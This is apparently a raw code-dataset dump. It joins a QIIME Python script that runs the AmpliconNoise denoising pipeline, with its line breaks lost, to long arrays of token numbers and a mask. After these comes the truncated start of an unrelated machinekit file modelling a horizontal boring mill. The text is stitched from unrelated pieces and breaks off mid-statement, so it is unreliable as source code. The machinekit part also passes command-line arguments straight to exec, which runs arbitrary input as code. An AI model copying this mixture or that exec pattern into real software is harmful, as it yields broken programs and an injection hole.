#!/usr/bin/env python # File created on 20 Jun 2011 from __future__ import division __author__ = "Justin Kuczynski" __copyright__ = "Copyright 2011, The QIIME Project" __credits__ = ["Justin Kuczynski", "Jose A. Navas Molina"] __license__ = "GPL" __version__ = "1.8.0-dev" __maintainer__ = "Justin Kuczynski" __email__ = "justinak@gmail.com" from qiime.util import parse_command_line_parameters, get_options_lookup from qiime.util import make_option from os import makedirs from qiime.util import load_qiime_config from qiime.parse import parse_qiime_parameters from qiime.workflow.util import (print_commands, call_commands_serially, print_to_stdout, no_status_updates, validate_and_set_jobs_to_start) from qiime.workflow.ampliconnoise import run_ampliconnoise import os qiime_config = load_qiime_config() # summarize_taxa_through_plots.py options_lookup = get_options_lookup() script_info = {} script_info['brief_description'] = "Run AmpliconNoise" script_info['script_description'] = """ The steps performed by this script are: 1. Split input sff.txt file into one file per sample 2. Run scripts required for PyroNoise 3. Run scripts required for SeqNoise 4. Run scripts requred for Perseus (chimera removal) 5. Merge output files into one file similar to the output of split_libraries.py This script produces a denoised fasta sequence file such as: >PC.355_41 CATGCTGCCTC... ... >PC.636_23 CATGCTGCCTC... ... Additionally, the intermediate results of the ampliconnoise pipeline are written to an output directory. Ampliconnoise must be installed and correctly configured, and parallelized steps will be called with mpirun, not qiime's start_parallel_jobs_torque.py script. """ script_info['script_usage'] = [( "", "Run ampliconnoise, write output to anoise_out.fna, compatible with output of split_libraries.py", "%prog -i Fasting_Example.sff.txt -m Fasting_Map.txt -o anoise_out.fna")] script_info[ 'output_description'] = "a fasta file of sequences, with labels as:'>sample1_0' , '>sample1_1' ..." script_info['required_options'] = [ options_lookup['mapping_fp'], make_option( '-i', '--sff_filepath', type='existing_filepath', help='sff.txt filepath'), make_option( '-o', '--output_filepath', type='new_filepath', help='the output file'), ] script_info['optional_options'] = [ make_option( '-n', '--np', type='int', default=2, help='number of processes to use for mpi steps. Default: %default'), make_option( '--chimera_alpha', type='float', default=- 3.8228, help='alpha value to Class.pl used for chimera removal Default: %default'), make_option( '--chimera_beta', type='float', default=0.6200, help='beta value to Class.pl used for chimera removal Default: %default'), make_option( '--seqnoise_resolution', type='string', default=None, help='-s parameter passed to seqnoise. Default is 25.0 for titanium, 30.0 for flx'), make_option( '-d', '--output_dir', type='new_dirpath', default=None, help='directory for ampliconnoise intermediate results. Default is output_filepath_dir'), make_option('-p', '--parameter_fp', type='existing_filepath', help='path to the parameter file, which specifies changes' + ' to the default behavior. ' + 'See http://www.qiime.org/documentation/file_formats.html#qiime-parameters.' + ' [if omitted, default values will be used]'), make_option('-f', '--force', action='store_true', default=False, dest='force', help='Force overwrite of existing output directory' + ' (note: existing files in output_dir will not be removed)' + ' [default: %default]'), make_option('-w', '--print_only', action='store_true', default=False, dest='print_only', help='Print the commands but don\'t call them -- ' + 'useful for debugging [default: %default]'), make_option( '--suppress_perseus', action='store_true', default=False, help='omit perseus from ampliconnoise workflow'), make_option( '--platform', type='choice', choices=['titanium', 'flx'], default='flx', help="sequencing technology, options are 'titanium','flx'. [default: %default]"), make_option( '--truncate_len', type='int', default=None, help="Specify a truncation length for ampliconnoise. Note that is this is not specified, the truncate length is chosen by the --platform option (220 for FLX, 400 for Titanium) [default: %default]") ] script_info['version'] = __version__ def main(): option_parser, opts, args = parse_command_line_parameters(**script_info) if opts.output_dir is None: opts.output_dir = opts.output_filepath + '_dir' if opts.parameter_fp: try: parameter_f = open(opts.parameter_fp, 'U') except IOError: raise IOError("Can't open parameters file (%s). Does it exist? Do you have read access?" % opts.parameter_fp) params = parse_qiime_parameters(parameter_f) parameter_f.close() else: params = parse_qiime_parameters([]) # empty list returns empty defaultdict for now try: makedirs(opts.output_dir) except OSError: if opts.force: pass else: # Since the analysis can take quite a while, I put this check # in to help users avoid overwriting previous output. option_parser.error("Output directory already exists. Please choose" " a different directory, or force overwrite with -f.") if opts.print_only: command_handler = print_commands else: command_handler = call_commands_serially if opts.verbose: status_update_callback = print_to_stdout else: status_update_callback = no_status_updates # set env variable if opts.platform == 'flx': existing_pyro_fp = os.environ['PYRO_LOOKUP_FILE'] new_pyro_fp = os.path.join( os.path.split(existing_pyro_fp)[0], 'LookUp_E123.dat') os.environ['PYRO_LOOKUP_FILE'] = new_pyro_fp elif opts.platform == 'titanium': existing_pyro_fp = os.environ['PYRO_LOOKUP_FILE'] new_pyro_fp = os.path.join( os.path.split(existing_pyro_fp)[0], 'LookUp_Titanium.dat') os.environ['PYRO_LOOKUP_FILE'] = new_pyro_fp else: raise RuntimeError( 'could not find PYRO_LOOKUP_FILE for platform ' + platform) if opts.truncate_len: try: truncate_len_int_check = int(opts.truncate_len) truncate_len = str(truncate_len_int_check) except ValueError: raise ValueError(("If specified, truncate_len must be int type.")) else: truncate_len = None run_ampliconnoise( mapping_fp=opts.mapping_fp, output_dir=os.path.abspath(opts.output_dir), command_handler=command_handler, params=params, qiime_config=qiime_config, status_update_callback=status_update_callback, chimera_alpha=opts.chimera_alpha, chimera_beta=opts.chimera_beta, sff_txt_fp=opts.sff_filepath, numnodes=opts.np, suppress_perseus=opts.suppress_perseus, output_filepath=os.path.abspath(opts.output_filepath), platform=opts.platform, seqnoise_resolution=opts.seqnoise_resolution, truncate_len=truncate_len ) if __name__ == "__main__": main()
gpl-2.0
[ 3381, 2647, 15, 1393, 15, 1813, 2366, 199, 3, 3814, 2737, 641, 3388, 1603, 324, 7760, 199, 504, 636, 2443, 363, 492, 4629, 199, 199, 363, 2502, 363, 275, 298, 22850, 262, 1804, 947, 3605, 561, 8810, 2, 199, 363, 7307, 363, 275, 298, 7384, 7760, 12, 710, 1413, 41, 3465, 7290, 2, 199, 363, 22461, 363, 275, 2097, 22850, 262, 1804, 947, 3605, 561, 8810, 401, 298, 42, 3362, 437, 14, 653, 1214, 305, 603, 393, 13765, 937, 199, 363, 1682, 363, 275, 298, 12006, 2, 199, 363, 1023, 363, 275, 298, 17, 14, 24, 14, 16, 13, 2374, 2, 199, 363, 26665, 363, 275, 298, 22850, 262, 1804, 947, 3605, 561, 8810, 2, 199, 363, 2123, 363, 275, 298, 4764, 262, 1151, 32, 6799, 14, 957, 2, 199, 199, 504, 31402, 1036, 14, 1974, 492, 2198, 63, 1531, 63, 604, 63, 3214, 12, 664, 63, 1419, 63, 3892, 199, 504, 31402, 1036, 14, 1974, 492, 1852, 63, 1422, 199, 504, 747, 492, 1852, 3220, 199, 504, 31402, 1036, 14, 1974, 492, 2248, 63, 23104, 1036, 63, 888, 199, 504, 31402, 1036, 14, 1122, 492, 2198, 63, 23104, 1036, 63, 3214, 199, 504, 31402, 1036, 14, 8856, 14, 1974, 492, 334, 1361, 63, 4405, 12, 639, 1240, 63, 4405, 63, 261, 322, 1183, 12, 639, 870, 63, 475, 63, 2703, 12, 639, 949, 63, 1205, 63, 7618, 12, 639, 4107, 63, 460, 63, 409, 63, 6920, 63, 475, 63, 928, 9, 199, 504, 31402, 1036, 14, 8856, 14, 5282, 317, 388, 11838, 492, 1255, 63, 5282, 317, 388, 11838, 199, 646, 747, 421, 199, 23104, 1036, 63, 888, 275, 2248, 63, 23104, 1036, 63, 888, 342, 199, 199, 3, 22301, 63, 502, 1800, 63, 8304, 63, 13701, 14, 647, 199, 1419, 63, 3892, 275, 664, 63, 1419, 63, 3892, 342, 199, 1579, 63, 815, 275, 1052, 199, 1579, 63, 815, 459, 19127, 63, 1802, 418, 275, 298, 2540, 437, 311, 317, 388, 21446, 2, 199, 1579, 63, 815, 459, 1579, 63, 1802, 418, 275, 408, 199, 1918, 7124, 10585, 701, 642, 2884, 787, 26, 199, 199, 17, 14, 11740, 1324, 308, 556, 14, 2424, 570, 1901, 1373, 570, 1126, 2690, 199, 199, 18, 14, 3378, 10554, 1415, 367, 1611, 293, 21446, 199, 199, 19, 14, 3378, 10554, 1415, 367, 28534, 21446, 199, 199, 20, 14, 3378, 10554, 295, 392, 581, 367, 3492, 261, 527, 334, 335, 1036, 345, 20055, 9, 199, 199, 21, 14, 14076, 1072, 1584, 1901, 1373, 570, 8545, 370, 314, 1072, 402, 3715, 63, 10159, 14, 647, 199, 199, 2765, 2884, 16904, 282, 477, 889, 9096, 30544, 3414, 570, 4066, 465, 26, 199, 30, 4222, 14, 10156, 63, 2953, 199, 11206, 39, 1028, 7484, 1028, 35, 1396, 199, 1396, 199, 30, 4222, 14, 26654, 63, 1789, 199, 11206, 39, 1028, 7484, 1028, 35, 1396, 199, 1396, 199, 199, 2767, 22565, 12, 314, 13197, 2058, 402, 314, 15204, 317, 388, 11838, 7679, 787, 199, 8938, 370, 376, 1072, 2082, 14, 199, 199, 28189, 317, 388, 11838, 1471, 506, 4903, 436, 6657, 7526, 12, 436, 30042, 317, 7068, 199, 5895, 911, 506, 2797, 543, 6118, 723, 324, 12, 440, 31402, 1036, 1159, 1343, 63, 11887, 63, 6920, 63, 8270, 544, 14, 647, 2884, 14, 199, 199, 624, 199, 1579, 63, 815, 459, 1579, 63, 3807, 418, 275, 3842, 272, 4873, 272, 298, 2540, 15204, 317, 388, 11838, 12, 2218, 1072, 370, 376, 79, 572, 63, 548, 14, 2324, 65, 12, 9025, 543, 1072, 402, 3715, 63, 10159, 14, 647, 401, 272, 2071, 6595, 446, 73, 22613, 316, 63, 9846, 14, 83, 556, 14, 2424, 446, 77, 22613, 316, 63, 2956, 14, 2424, 446, 79, 376, 79, 572, 63, 548, 14, 2324, 65, 11323, 199, 1579, 63, 815, 59, 272, 283, 1199, 63, 1802, 418, 275, 298, 65, 30544, 570, 402, 8013, 12, 543, 3628, 465, 4881, 30, 3271, 17, 63, 16, 7, 2360, 12696, 3271, 17, 63, 17, 7, 21742, 199, 1579, 63, 815, 459, 2427, 63, 1419, 418, 275, 359, 272, 1511, 63, 3892, 459, 4745, 63, 3997, 995, 272, 1852, 63, 1422, 8, 267, 2475, 73, 297, 267, 2850, 83, 556, 63, 7218, 297, 267, 730, 534, 5952, 63, 7218, 297, 267, 1720, 534, 83, 556, 14, 2424, 9911, 659, 272, 1852, 63, 1422, 8, 267, 2475, 79, 297, 267, 2850, 1199, 63, 7218, 297, 267, 730, 534, 1222, 63, 7218, 297, 267, 1720, 534, 1589, 1072, 570, 659, 421, 199, 61, 199, 1579, 63, 815, 459, 4144, 63, 1419, 418, 275, 359, 272, 1852, 63, 1422, 8, 267, 2475, 78, 297, 267, 2850, 1590, 297, 267, 730, 534, 442, 297, 267, 849, 29, 18, 12, 267, 1720, 534, 1955, 402, 10358, 370, 675, 367, 26806, 7124, 14, 3758, 26, 450, 885, 659, 272, 1852, 63, 1422, 8, 267, 2850, 335, 1036, 345, 63, 4468, 297, 267, 730, 534, 1609, 297, 267, 849, 4022, 267, 650, 14, 10228, 24, 12, 267, 1720, 534, 4468, 574, 370, 8089, 14, 1168, 1202, 367, 682, 1036, 345, 20055, 221, 3758, 26, 450, 885, 659, 272, 1852, 63, 1422, 8, 267, 2850, 335, 1036, 345, 63, 5683, 297, 267, 730, 534, 1609, 297, 267, 849, 29, 16, 14, 22, 1840, 12, 267, 1720, 534, 5683, 574, 370, 8089, 14, 1168, 1202, 367, 682, 1036, 345, 20055, 221, 3758, 26, 450, 885, 659, 272, 1852, 63, 1422, 8, 267, 2850, 3610, 11838, 63, 12588, 297, 267, 730, 534, 875, 297, 267, 849, 29, 403, 12, 267, 1720, 18274, 83, 2725, 3032, 370, 5412, 11838, 14, 3758, 365, 5661, 14, 16, 367, 3367, 12990, 5170, 12, 4233, 14, 16, 367, 2717, 88, 659, 272, 1852, 63, 1422, 8, 267, 2475, 68, 297, 267, 2850, 1199, 63, 694, 297, 267, 730, 534, 1222, 63, 17254, 297, 267, 849, 29, 403, 12, 267, 1720, 534, 3619, 367, 15204, 317, 388, 11838, 13197, 2058, 14, 3758, 365, 1072, 63, 7218, 63, 694, 659, 272, 1852, 63, 1422, 3654, 80, 297, 2850, 5329, 63, 3997, 297, 730, 534, 5952, 63, 7218, 297, 355, 1720, 534, 515, 370, 314, 2725, 570, 12, 1314, 9314, 4493, 7, 435, 355, 283, 370, 314, 849, 5953, 14, 283, 435, 355, 283, 9295, 1455, 921 ]
[ 2647, 15, 1393, 15, 1813, 2366, 199, 3, 3814, 2737, 641, 3388, 1603, 324, 7760, 199, 504, 636, 2443, 363, 492, 4629, 199, 199, 363, 2502, 363, 275, 298, 22850, 262, 1804, 947, 3605, 561, 8810, 2, 199, 363, 7307, 363, 275, 298, 7384, 7760, 12, 710, 1413, 41, 3465, 7290, 2, 199, 363, 22461, 363, 275, 2097, 22850, 262, 1804, 947, 3605, 561, 8810, 401, 298, 42, 3362, 437, 14, 653, 1214, 305, 603, 393, 13765, 937, 199, 363, 1682, 363, 275, 298, 12006, 2, 199, 363, 1023, 363, 275, 298, 17, 14, 24, 14, 16, 13, 2374, 2, 199, 363, 26665, 363, 275, 298, 22850, 262, 1804, 947, 3605, 561, 8810, 2, 199, 363, 2123, 363, 275, 298, 4764, 262, 1151, 32, 6799, 14, 957, 2, 199, 199, 504, 31402, 1036, 14, 1974, 492, 2198, 63, 1531, 63, 604, 63, 3214, 12, 664, 63, 1419, 63, 3892, 199, 504, 31402, 1036, 14, 1974, 492, 1852, 63, 1422, 199, 504, 747, 492, 1852, 3220, 199, 504, 31402, 1036, 14, 1974, 492, 2248, 63, 23104, 1036, 63, 888, 199, 504, 31402, 1036, 14, 1122, 492, 2198, 63, 23104, 1036, 63, 3214, 199, 504, 31402, 1036, 14, 8856, 14, 1974, 492, 334, 1361, 63, 4405, 12, 639, 1240, 63, 4405, 63, 261, 322, 1183, 12, 639, 870, 63, 475, 63, 2703, 12, 639, 949, 63, 1205, 63, 7618, 12, 639, 4107, 63, 460, 63, 409, 63, 6920, 63, 475, 63, 928, 9, 199, 504, 31402, 1036, 14, 8856, 14, 5282, 317, 388, 11838, 492, 1255, 63, 5282, 317, 388, 11838, 199, 646, 747, 421, 199, 23104, 1036, 63, 888, 275, 2248, 63, 23104, 1036, 63, 888, 342, 199, 199, 3, 22301, 63, 502, 1800, 63, 8304, 63, 13701, 14, 647, 199, 1419, 63, 3892, 275, 664, 63, 1419, 63, 3892, 342, 199, 1579, 63, 815, 275, 1052, 199, 1579, 63, 815, 459, 19127, 63, 1802, 418, 275, 298, 2540, 437, 311, 317, 388, 21446, 2, 199, 1579, 63, 815, 459, 1579, 63, 1802, 418, 275, 408, 199, 1918, 7124, 10585, 701, 642, 2884, 787, 26, 199, 199, 17, 14, 11740, 1324, 308, 556, 14, 2424, 570, 1901, 1373, 570, 1126, 2690, 199, 199, 18, 14, 3378, 10554, 1415, 367, 1611, 293, 21446, 199, 199, 19, 14, 3378, 10554, 1415, 367, 28534, 21446, 199, 199, 20, 14, 3378, 10554, 295, 392, 581, 367, 3492, 261, 527, 334, 335, 1036, 345, 20055, 9, 199, 199, 21, 14, 14076, 1072, 1584, 1901, 1373, 570, 8545, 370, 314, 1072, 402, 3715, 63, 10159, 14, 647, 199, 199, 2765, 2884, 16904, 282, 477, 889, 9096, 30544, 3414, 570, 4066, 465, 26, 199, 30, 4222, 14, 10156, 63, 2953, 199, 11206, 39, 1028, 7484, 1028, 35, 1396, 199, 1396, 199, 30, 4222, 14, 26654, 63, 1789, 199, 11206, 39, 1028, 7484, 1028, 35, 1396, 199, 1396, 199, 199, 2767, 22565, 12, 314, 13197, 2058, 402, 314, 15204, 317, 388, 11838, 7679, 787, 199, 8938, 370, 376, 1072, 2082, 14, 199, 199, 28189, 317, 388, 11838, 1471, 506, 4903, 436, 6657, 7526, 12, 436, 30042, 317, 7068, 199, 5895, 911, 506, 2797, 543, 6118, 723, 324, 12, 440, 31402, 1036, 1159, 1343, 63, 11887, 63, 6920, 63, 8270, 544, 14, 647, 2884, 14, 199, 199, 624, 199, 1579, 63, 815, 459, 1579, 63, 3807, 418, 275, 3842, 272, 4873, 272, 298, 2540, 15204, 317, 388, 11838, 12, 2218, 1072, 370, 376, 79, 572, 63, 548, 14, 2324, 65, 12, 9025, 543, 1072, 402, 3715, 63, 10159, 14, 647, 401, 272, 2071, 6595, 446, 73, 22613, 316, 63, 9846, 14, 83, 556, 14, 2424, 446, 77, 22613, 316, 63, 2956, 14, 2424, 446, 79, 376, 79, 572, 63, 548, 14, 2324, 65, 11323, 199, 1579, 63, 815, 59, 272, 283, 1199, 63, 1802, 418, 275, 298, 65, 30544, 570, 402, 8013, 12, 543, 3628, 465, 4881, 30, 3271, 17, 63, 16, 7, 2360, 12696, 3271, 17, 63, 17, 7, 21742, 199, 1579, 63, 815, 459, 2427, 63, 1419, 418, 275, 359, 272, 1511, 63, 3892, 459, 4745, 63, 3997, 995, 272, 1852, 63, 1422, 8, 267, 2475, 73, 297, 267, 2850, 83, 556, 63, 7218, 297, 267, 730, 534, 5952, 63, 7218, 297, 267, 1720, 534, 83, 556, 14, 2424, 9911, 659, 272, 1852, 63, 1422, 8, 267, 2475, 79, 297, 267, 2850, 1199, 63, 7218, 297, 267, 730, 534, 1222, 63, 7218, 297, 267, 1720, 534, 1589, 1072, 570, 659, 421, 199, 61, 199, 1579, 63, 815, 459, 4144, 63, 1419, 418, 275, 359, 272, 1852, 63, 1422, 8, 267, 2475, 78, 297, 267, 2850, 1590, 297, 267, 730, 534, 442, 297, 267, 849, 29, 18, 12, 267, 1720, 534, 1955, 402, 10358, 370, 675, 367, 26806, 7124, 14, 3758, 26, 450, 885, 659, 272, 1852, 63, 1422, 8, 267, 2850, 335, 1036, 345, 63, 4468, 297, 267, 730, 534, 1609, 297, 267, 849, 4022, 267, 650, 14, 10228, 24, 12, 267, 1720, 534, 4468, 574, 370, 8089, 14, 1168, 1202, 367, 682, 1036, 345, 20055, 221, 3758, 26, 450, 885, 659, 272, 1852, 63, 1422, 8, 267, 2850, 335, 1036, 345, 63, 5683, 297, 267, 730, 534, 1609, 297, 267, 849, 29, 16, 14, 22, 1840, 12, 267, 1720, 534, 5683, 574, 370, 8089, 14, 1168, 1202, 367, 682, 1036, 345, 20055, 221, 3758, 26, 450, 885, 659, 272, 1852, 63, 1422, 8, 267, 2850, 3610, 11838, 63, 12588, 297, 267, 730, 534, 875, 297, 267, 849, 29, 403, 12, 267, 1720, 18274, 83, 2725, 3032, 370, 5412, 11838, 14, 3758, 365, 5661, 14, 16, 367, 3367, 12990, 5170, 12, 4233, 14, 16, 367, 2717, 88, 659, 272, 1852, 63, 1422, 8, 267, 2475, 68, 297, 267, 2850, 1199, 63, 694, 297, 267, 730, 534, 1222, 63, 17254, 297, 267, 849, 29, 403, 12, 267, 1720, 534, 3619, 367, 15204, 317, 388, 11838, 13197, 2058, 14, 3758, 365, 1072, 63, 7218, 63, 694, 659, 272, 1852, 63, 1422, 3654, 80, 297, 2850, 5329, 63, 3997, 297, 730, 534, 5952, 63, 7218, 297, 355, 1720, 534, 515, 370, 314, 2725, 570, 12, 1314, 9314, 4493, 7, 435, 355, 283, 370, 314, 849, 5953, 14, 283, 435, 355, 283, 9295, 1455, 921, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,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, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
araisrobo/machinekit
src/hal/user_comps/vismach/hbmgui.py
25
13177
#!/usr/bin/python2.4 # # Visulization model of a Horizontal Boring Mill with quill # # Copyright 2007 John Kasunich # Derived from a work by John Kasunich, Jeff Epler, and Chris Radek # # This program is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 2 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA from vismach import * import hal import math import sys # distance from spindle nose to tool-length = 0 point tool_length_offset = 4.0 # give endpoint Z values and radii # resulting cylinder is on the Z axis class HalToolCylinder(CylinderZ): def __init__(self, comp, *args): CylinderZ.__init__(self, *args) self.comp = comp def coords(self): return (0, self.comp["tool-radius"], -tool_length_offset-self.comp["tool-length"], self.comp["tool-radius"]) c = hal.component("hbmgui") # HAL pins c.newpin("table", hal.HAL_FLOAT, hal.HAL_IN) c.newpin("saddle", hal.HAL_FLOAT, hal.HAL_IN) c.newpin("head", hal.HAL_FLOAT, hal.HAL_IN) c.newpin("quill", hal.HAL_FLOAT, hal.HAL_IN) c.newpin("tool-length", hal.HAL_FLOAT, hal.HAL_IN) c.newpin("tool-radius", hal.HAL_FLOAT, hal.HAL_IN) c.ready() tool_radius=0.5 for setting in sys.argv[1:]: exec setting # the approach here is a little different than in previous vismach models # we define the geometry of all parts first # only at the end to we build the kinematic chain(s) # floor floor = Collection([ # a big slab Color([0.2,0.2,0.2,0], [Box(-150, -4, -150, 150, 0, 150)]) ]) # saddle ways saddle_way_width = 5.0 saddle_way_spacing = 72.0 saddle_way_start = -50 saddle_way_end = 50 saddle_slide_length = 48 column_center_x = 24 column_center_z = 75 column_width = 24 column_depth = 30 column_height = 144 table_thick = 8 table_length = 120 table_width = 60 table_way_width = 5.0 column_way_top_x = column_center_x-0.5*column_width-1.0 head_width = 2*(column_way_top_x-1.0) head_top = 15 head_bottom = -9 head_depth = 36 quill_length = 48 quill_dia = 6.0 column_head_offset = 4.0 saddleways = Collection([ Box(-1.5*saddle_way_spacing-0.5*saddle_way_width, -1.0, saddle_way_start, -1.5*saddle_way_spacing+0.5*saddle_way_width, 1.0, saddle_way_end), Box( 1.5*saddle_way_spacing-0.5*saddle_way_width, -1.0, saddle_way_start, 1.5*saddle_way_spacing+0.5*saddle_way_width, 1.0, saddle_way_end), Box(-0.5*saddle_way_spacing-0.5*saddle_way_width, 8.0, saddle_way_start, -0.5*saddle_way_spacing+0.5*saddle_way_width, 10.0, saddle_way_end), Box( 0.5*saddle_way_spacing-0.5*saddle_way_width, 8.0, saddle_way_start, 0.5*saddle_way_spacing+0.5*saddle_way_width, 10.0, saddle_way_end), # and screw Translate([CylinderZ(saddle_way_start+8, 1.5, saddle_way_end-7, 1.5)], 0, 8, 0) ]) saddleways = Color([0.5,0.5,0.8,0],[saddleways]) base = Collection([ # section under each saddle way Box(-0.5*saddle_way_spacing-0.4*saddle_way_width, 5.0, saddle_way_start+1, -0.5*saddle_way_spacing+0.8*saddle_way_width, 9.0, saddle_way_end-1), Box( 0.5*saddle_way_spacing-0.8*saddle_way_width, 5.0, saddle_way_start+1, 0.5*saddle_way_spacing+0.4*saddle_way_width, 9.0, saddle_way_end-1), # main portion connecting saddle ways Box(-0.5*saddle_way_spacing-0.5*saddle_way_width, 0.0, saddle_way_start+1, 0.5*saddle_way_spacing+0.5*saddle_way_width, 5.0, saddle_way_end-1), # screw mount blocks Box( -3, 5, saddle_way_end-7, 3, 10.5, saddle_way_end-1), Box( -3, 5, saddle_way_start+8, 3, 11.0, saddle_way_start), # motor Translate([CylinderZ(saddle_way_start, 3.5, saddle_way_start-18, 3.5)], 0, 8, 0), # portion under column Box((column_center_x-column_width*1.25), 0.0, saddle_way_end-1, (column_center_x+column_width*0.75), 5.0, column_center_z+column_depth*0.75) ]) base = Color([0.5,0.9,0.9,0],[base]) saddle_slides = Collection([ Box(-0.5*saddle_way_spacing-0.8*saddle_way_width, 8.5, -0.5*saddle_slide_length, -0.5*saddle_way_spacing+0.4*saddle_way_width, 11.5, 0.5*saddle_slide_length), Box( 0.5*saddle_way_spacing-0.4*saddle_way_width, 8.5, -0.5*saddle_slide_length, 0.5*saddle_way_spacing+0.8*saddle_way_width, 11.5, 0.5*saddle_slide_length), Box(-1.5*saddle_way_spacing-0.4*saddle_way_width, 1.0, -0.5*saddle_slide_length, -1.5*saddle_way_spacing+0.4*saddle_way_width, 2.5, 0.5*saddle_slide_length), Box( 1.5*saddle_way_spacing-0.4*saddle_way_width, 1.0, -0.5*saddle_slide_length, 1.5*saddle_way_spacing+0.4*saddle_way_width, 2.5, 0.5*saddle_slide_length), # and nut Translate([CylinderZ(-0.5*saddle_slide_length+10, 2.2, 0.5*saddle_slide_length-10, 2.2)], 0, 8, 0) ]) saddle_slides = Color([0.7,0.9,0.9,0],[saddle_slides]) saddle = Collection([ # section riding on end slides Box(-1.5*saddle_way_spacing-0.6*saddle_way_width, 2.5, -0.5*saddle_slide_length+1, -1.5*saddle_way_spacing+0.6*saddle_way_width, 11.5, 0.5*saddle_slide_length-1), Box( 1.5*saddle_way_spacing-0.6*saddle_way_width, 2.5, -0.5*saddle_slide_length+1, 1.5*saddle_way_spacing+0.6*saddle_way_width, 11.5, 0.5*saddle_slide_length-1), # main portion Box(-1.5*saddle_way_spacing-0.6*saddle_way_width, 11.5, -0.5*saddle_slide_length+0.5, 1.5*saddle_way_spacing+0.6*saddle_way_width, 15.0, 0.5*saddle_slide_length-0.5), Box(-1.5*saddle_way_spacing-0.6*saddle_way_width, 15.0, -0.5*saddle_slide_length+0.5, 1.5*saddle_way_spacing+0.6*saddle_way_width, 19.0, -0.5*saddle_slide_length+5.5), Box(-1.5*saddle_way_spacing-0.6*saddle_way_width, 15.0, 0.5*saddle_slide_length-0.5, 1.5*saddle_way_spacing+0.6*saddle_way_width, 19.0, 0.5*saddle_slide_length-5.5), # nut block Box(-5, 5.5, -0.5*saddle_slide_length+11, 5, 11.5, 0.5*saddle_slide_length-11), # screw mount blocks Box(-1.5*saddle_way_spacing+20, 15.0, -3, -1.5*saddle_way_spacing+16, 20.5, 3), Box( 1.5*saddle_way_spacing-5, 15.0, -3, 1.5*saddle_way_spacing+5, 20.5, 3), # motor Translate([CylinderX(1.5*saddle_way_spacing+5, 3.5, 1.5*saddle_way_spacing+25, 3.5)], 0, 18, 0), ]) saddle = Color([0.5,0.9,0.9,0],[saddle]) table_ways = Collection([ Box(-1.5*saddle_way_spacing-0.7*saddle_way_width, 18.0, -0.5*saddle_slide_length, 1.5*saddle_way_spacing+0.7*saddle_way_width, 20.0, -0.5*saddle_slide_length+table_way_width), Box(-1.5*saddle_way_spacing-0.7*saddle_way_width, 18.0, 0.5*saddle_slide_length, 1.5*saddle_way_spacing+0.7*saddle_way_width, 20.0, 0.5*saddle_slide_length-table_way_width), # and screw Translate([CylinderX(-1.5*saddle_way_spacing+20, 1.5, 1.5*saddle_way_spacing+10, 1.5)], 0, 18, 0) ]) table_ways = Color([0.5,0.5,0.8,0],[table_ways]) table_slides = Collection([ Box(-0.5*table_length, -table_thick+1.0, -0.5*saddle_slide_length-0.3*table_way_width, 0.5*table_length, -table_thick-1.5, -0.5*saddle_slide_length+0.9*table_way_width), Box(-0.5*table_length, -table_thick+1.0, 0.5*saddle_slide_length+0.3*table_way_width, 0.5*table_length, -table_thick-1.5, 0.5*saddle_slide_length-0.9*table_way_width), # and nut Translate([CylinderX(-0.5*table_length+20, 2.2, 0.5*table_length-15, 2.2)], 0, -table_thick-2, 0) ]) table_slides = Color([0.7,0.9,0.9,0],[table_slides]) # generate the t-slots with a loop w12 = table_width/12 table_top = [] for s in range(-4, 5, 2): table_top = table_top + [ Box(-0.5*table_length, -2, (s-1)*w12+1.0, 0.5*table_length, -1, (s+1)*w12-1.0), Box(-0.5*table_length, -1, (s-1)*w12+0.5, 0.5*table_length, 0, (s+1)*w12-0.5)] # end sections are different s = -6 table_top = table_top + [ Box(-0.5*table_length, -2, s*w12, 0.5*table_length, -1, (s+1)*w12-1.0), Box(-0.5*table_length, -1, s*w12, 0.5*table_length, 0, (s+1)*w12-0.5)] s = 6 table_top = table_top + [ Box(-0.5*table_length, -2, (s-1)*w12+1.0, 0.5*table_length, -1, s*w12), Box(-0.5*table_length, -1, (s-1)*w12+0.5, 0.5*table_length, 0, s*w12)] table = Collection(table_top +[ # solid part Box(-0.5*table_length, -2, -0.5*table_width, 0.5*table_length, -table_thick+1.0, 0.5*table_width), # nut block Box(-0.5*table_length+21, 